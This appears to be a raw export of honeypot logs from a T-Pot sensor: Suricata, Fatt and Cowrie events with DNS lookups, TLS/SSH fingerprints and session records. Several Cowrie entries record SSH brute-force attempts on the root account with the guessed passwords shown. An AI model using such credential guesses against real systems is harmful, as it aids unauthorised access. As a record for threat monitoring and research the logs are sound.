35268	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:07:55.529079+03	2021-09-20 15:15:03.04669+03	{"_id": "JwYbA3wBvYTbRNuECVsL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 40487, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1596250258084535, "@version": "1", "in_iface": "enp5s0", "src_port": 42406, "dest_port": 53, "timestamp": "2021-09-20T12:07:55.529079Z", "@timestamp": "2021-09-20T12:07:55.529Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35269	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:07:55.530732+03	2021-09-20 15:15:03.04769+03	{"_id": "KAYbA3wBvYTbRNuECVsL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 40487, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2199, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1596250258084535, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 42406, "timestamp": "2021-09-20T12:07:55.530732Z", "@timestamp": "2021-09-20T12:07:55.530Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35325	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.047636+03	2021-09-20 15:15:03.11869+03	{"_id": "cQYbA3wBvYTbRNuEjFvH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:29.047636Z", "@timestamp": "2021-09-20T12:08:29.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35270	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:07:55.578992+03	2021-09-20 15:15:03.048691+03	{"_id": "LAYbA3wBvYTbRNuECltc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36104, "dest_port": 443, "timestamp": "2021-09-20T12:07:55.578992", "@timestamp": "2021-09-20T12:07:55.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35271	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:08:02.462798+03	2021-09-20 15:15:03.05069+03	{"_id": "PgYbA3wBvYTbRNuEJVtu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 53890, "dest_port": 22, "timestamp": "2021-09-20T12:08:02.462798", "@timestamp": "2021-09-20T12:08:02.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35272	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:08:03.889644+03	2021-09-20 15:15:03.05169+03	{"_id": "PwYbA3wBvYTbRNuEK1sV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/963852741] failed", "session": "a808d83df426", "@version": "1", "password": "963852741", "username": "root", "timestamp": "2021-09-20T12:08:03.889644Z", "@timestamp": "2021-09-20T12:08:03.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35273	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:07:55.618703+03	2021-09-20 15:15:03.05269+03	{"_id": "LwYbA3wBvYTbRNuECltc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36104, "timestamp": "2021-09-20T12:07:55.618703", "@timestamp": "2021-09-20T12:07:55.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35274	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:07:56.081425+03	2021-09-20 15:15:03.053692+03	{"_id": "MAYbA3wBvYTbRNuEC1vR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7489647b16b7", "@version": "1", "duration": 2.7470436096191406, "timestamp": "2021-09-20T12:07:56.081425Z", "@timestamp": "2021-09-20T12:07:56.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35275	157.240.234.63	109.199.241.180	Suricata	2021-09-20 15:08:13.762113+03	2021-09-20 15:15:03.055691+03	{"_id": "SQYbA3wBvYTbRNuET1tk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:13.678892+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1350045554007020, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52706, "timestamp": "2021-09-20T12:08:13.762113Z", "@timestamp": "2021-09-20T12:08:13.762Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35276	157.240.234.63	109.199.241.180	Suricata	2021-09-20 15:08:13.678892+03	2021-09-20 15:15:03.056691+03	{"_id": "SgYbA3wBvYTbRNuET1to", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:13.678892+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1350045554007020, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52706, "timestamp": "2021-09-20T12:08:13.678892Z", "@timestamp": "2021-09-20T12:08:13.678Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35277	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:08:13.783374+03	2021-09-20 15:15:03.05769+03	{"_id": "SwYbA3wBvYTbRNuET1to", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:13.687134+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2146023253048350, "payload": "FwMDACIC1hyZcVNzAeVd9lKC8n75srxdI2xr0TCIHtuF4s6Fcfrg", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37992, "timestamp": "2021-09-20T12:08:13.783374Z", "@timestamp": "2021-09-20T12:08:13.783Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"....qSs..].R..~...]#lk.0.......q.."}}	1	\N	\N	alert	\N	US
35278	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:08:14.182382+03	2021-09-20 15:15:03.058691+03	{"_id": "TAYbA3wBvYTbRNuEU1tM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:13.687134+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 447}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2146023253048350, "payload": "FwMDACIC1hyZcVNzAeVd9lKC8n75srxdI2xr0TCIHtuF4s6Fcfrg", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37992, "timestamp": "2021-09-20T12:08:14.182382Z", "@timestamp": "2021-09-20T12:08:14.182Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"....qSs..].R..~...]#lk.0.......q.."}}	1	\N	\N	alert	\N	US
35279	157.240.234.63	109.199.241.180	Suricata	2021-09-20 15:08:13.954113+03	2021-09-20 15:15:03.060689+03	{"_id": "TgYbA3wBvYTbRNuEU1tM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:13.678892+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1350045554007020, "payload": "FwMDACKUk5iqmEK90JcV3tIou7EBfu3kKhW1yDGZMpOWzsxXpAc7", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52706, "timestamp": "2021-09-20T12:08:13.954113Z", "@timestamp": "2021-09-20T12:08:13.954Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\".....B......(...~..*...1.2....W..;"}}	1	\N	\N	alert	\N	US
35286	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:08:05.170122+03	2021-09-20 15:15:03.06869+03	{"_id": "QQYbA3wBvYTbRNuELlv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/963852741a] failed", "session": "a808d83df426", "@version": "1", "password": "963852741a", "username": "root", "timestamp": "2021-09-20T12:08:05.170122Z", "@timestamp": "2021-09-20T12:08:05.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35280	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:08:13.717412+03	2021-09-20 15:15:03.061689+03	{"_id": "SAYbA3wBvYTbRNuET1tj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:13.687134+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2146023253048350, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37992, "timestamp": "2021-09-20T12:08:13.717412Z", "@timestamp": "2021-09-20T12:08:13.717Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35281	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:08:13.918464+03	2021-09-20 15:15:03.062689+03	{"_id": "TQYbA3wBvYTbRNuEU1tM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:13.687134+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 342}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2146023253048350, "payload": "FwMDACIC1hyZcVNzAeVd9lKC8n75srxdI2xr0TCIHtuF4s6Fcfrg", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37992, "timestamp": "2021-09-20T12:08:13.918464Z", "@timestamp": "2021-09-20T12:08:13.918Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"....qSs..].R..~...]#lk.0.......q.."}}	1	\N	\N	alert	\N	US
35282	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:08:13.687134+03	2021-09-20 15:15:03.06369+03	{"_id": "RwYbA3wBvYTbRNuET1tj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:13.687134+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2146023253048350, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37992, "timestamp": "2021-09-20T12:08:13.687134Z", "@timestamp": "2021-09-20T12:08:13.687Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35283	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 15:08:05.385625+03	2021-09-20 15:15:03.06469+03	{"_id": "QAYbA3wBvYTbRNuELlv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "ffbcf8bb799e", "@version": "1", "duration": 120.00283527374268, "timestamp": "2021-09-20T12:08:05.385625Z", "@timestamp": "2021-09-20T12:08:05.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	GB
35284	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:08:06.44799+03	2021-09-20 15:15:03.066691+03	{"_id": "QwYbA3wBvYTbRNuEMlvm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/963963] failed", "session": "a808d83df426", "@version": "1", "password": "963963", "username": "root", "timestamp": "2021-09-20T12:08:06.447990Z", "@timestamp": "2021-09-20T12:08:06.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35287	159.253.30.249	109.199.241.180	Suricata	2021-09-20 15:08:26.807122+03	2021-09-20 15:15:03.06969+03	{"_id": "VAYbA3wBvYTbRNuEglsy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 634441726330600, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36416, "dest_port": 22, "timestamp": "2021-09-20T12:08:26.807122Z", "@timestamp": "2021-09-20T12:08:26.807Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	SE
35288	159.253.30.249	109.199.241.180	Fatt	2021-09-20 15:08:26.807258+03	2021-09-20 15:15:03.071691+03	{"_id": "WQYbA3wBvYTbRNuEg1uB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 